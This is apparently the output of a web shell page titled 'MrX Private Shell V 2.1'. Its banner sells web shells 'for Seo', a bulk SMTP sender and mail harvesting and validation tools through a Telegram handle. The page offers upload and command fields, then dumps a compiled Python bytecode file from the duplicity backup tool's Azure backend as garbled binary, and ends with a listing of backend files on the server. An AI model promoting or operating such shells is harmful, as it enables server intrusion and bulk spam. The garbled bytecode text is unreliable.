__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�����SSKrSSKrSSKrSSKJr SSKJr SSKJr \R"S5r	Sr
"SS\RR5r
\RRS	\
5 g)
�N)�config)�log)�BackendExceptionz)^[a-z0-9](?!.*--)[a-z0-9-]{1,61}[a-z0-9]$c�4�[RU5nUSL$)z�
Check, whether the given name conforms to the rules as defined in
https://docs.microsoft.com/en-us/rest/api/storageservices/naming-and-referencing-containers--blobs--and-metadata
for valid names.
N)�_VALID_CONTAINER_NAME_RE�match)�namers  �A/usr/lib/python3/dist-packages/duplicity/backends/azurebackend.py�_is_valid_container_namer!s��
%�*�*�4�0�E�����c�N�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
Srg
)�AzureBackend�+z(
Backend for Azure Blob Storage Service
c���[RRRX5 SSKJn URRS5Ul[UR5(d[S5eS[R;a[S5e0n[R (a[R US'[R"(a[R"US	'[R$(a[R"US
'[RSnUR&"US40UD6UlUR+5 g![an[S[U535eSnAff=f)Nr)�BlobServiceClientzyAzure backend requires Microsoft Azure Storage SDK for Python
(https://pypi.org/project/azure-storage-blob/).
Exception: �/z*Invalid Azure Storage Blob container name.�AZURE_CONNECTION_STRINGz5AZURE_CONNECTION_STRING environment variable not set.�timeout�max_single_put_size�max_block_size)�	duplicity�backend�Backend�__init__�azure.storage.blobr�ImportErrorr�str�path�lstrip�container_namer�os�environrr�azure_max_single_put_size�azure_max_block_size�from_connection_string�blob_service�_get_or_create_container)�self�
parsed_urlr�e�kwargs�conn_strs      r
r�AzureBackend.__init__0s(�����!�!�*�*�4�<�	�<�)�o�o�4�4�S�9���'��(;�(;�<�<�"�#O�P�P�$�B�J�J�6�"�#Z�[�[����>�>� &���F�9���+�+�,2�,L�,L�F�(�)��&�&�'-�'G�'G�F�#�$��:�:�7�8��-�D�D�X�t�^�W]�^����%�%�'��9�	�"��!�!�f�X�'��
��	�s�E�
E2�E-�-E2c�r�SSKJn URRUR5UlUR
R
5 g!Ua g[aXn[R"S[U5RSS5S-[RR5 SnAgSnAff=f)Nr)�ResourceExistsErrorz$Could not create Azure container: %s�
�)�azure.core.exceptionsr/r&�get_container_clientr �	container�create_container�	Exceptionr�
FatalErrorr�split�	ErrorCode�connection_failed)r(r/r*s   r
r'�%AzureBackend._get_or_create_containerTs���=�		�!�.�.�C�C�D�DW�DW�X�D�N��N�N�+�+�-��"�	���	��N�N�6��Q����d�A�9N�q�9Q�Q��
�
�/�/�
�
��	�s�AA
�
B6�	B6�AB1�1B6c�6�[R"U5n0n[R(a[RUS'UR	S5nUR
R"X$40UD6 SSS5 URU5 g!,(df   N =f)N�max_concurrency�rb)r!�fsdecoder�azure_max_connections�openr4�upload_blob�	_set_tier)r(�source_path�remote_filenamer+�datas     r
�_put�AzureBackend._putcsr���+�+�o�6�����'�'�(.�(D�(D�F�$�%�
�
�
�d�
#�t��N�N�&�&��G��G�$�	
����'�$�
#�s�B
�

Bc�|�[Rb+URR[RU5 gg�N)r�azure_blob_tierr4�set_standard_blob_tier_blobs)r(rEs  r
rC�AzureBackend._set_tieros.���!�!�-��N�N�7�7��8N�8N�P_�`�.rc���URRU5nURS5nURUR	55 SSS5 g!,(df   g=f)N�wb)r4�
download_blobrA�write�readall)r(rE�
local_path�blob�
download_files     r
�_get�AzureBackend._getssD���~�~�+�+�O�<��
�_�_�T�
"�m��������/�#�
"�
"�s� A�
A$c��/nURR5nUHnURU5 M UVs/sHo3RPM sn$s snfrJ)r4�
list_blobs�appendr	)r(�blobs�	blob_listrTs    r
�_list�AzureBackend._listysK�����N�N�-�-�/�	��D��L�L����',�,�e�d�	�	�e�,�,��,s�Ac�b�URR[R"U55 grJ)r4�delete_blobr!r?)r(�filenames  r
�_delete�AzureBackend._delete�s�����"�"�2�;�;�x�#8�9rc��URR[R"U55nUR	5nS[UR50$)N�size)r4�get_blob_clientr!r?�get_blob_properties�intre)r(ra�client�props    r
�_query�AzureBackend._query�s@�����/�/����H�0E�F���)�)�+����D�I�I��'�'rc�6�[RR$rJ)rr9�backend_not_found)r(�	operationr*s   r
�_error_code�AzureBackend._error_code�s���}�}�.�.�.r)r&r4r N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr'rGrCrVr]rbrkrp�__static_attributes__�rr
rr+s6���"(�H
�
(�a�0�-�:�(�
/rr�azure)r!�re�duplicity.backendrrr�duplicity.errorsr�compilerrrrr�register_backendrxrr
�<module>rsa��,
�	����-��:�:�&R�S���a/�9�$�$�,�,�a/�H
���"�"�7�L�9r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager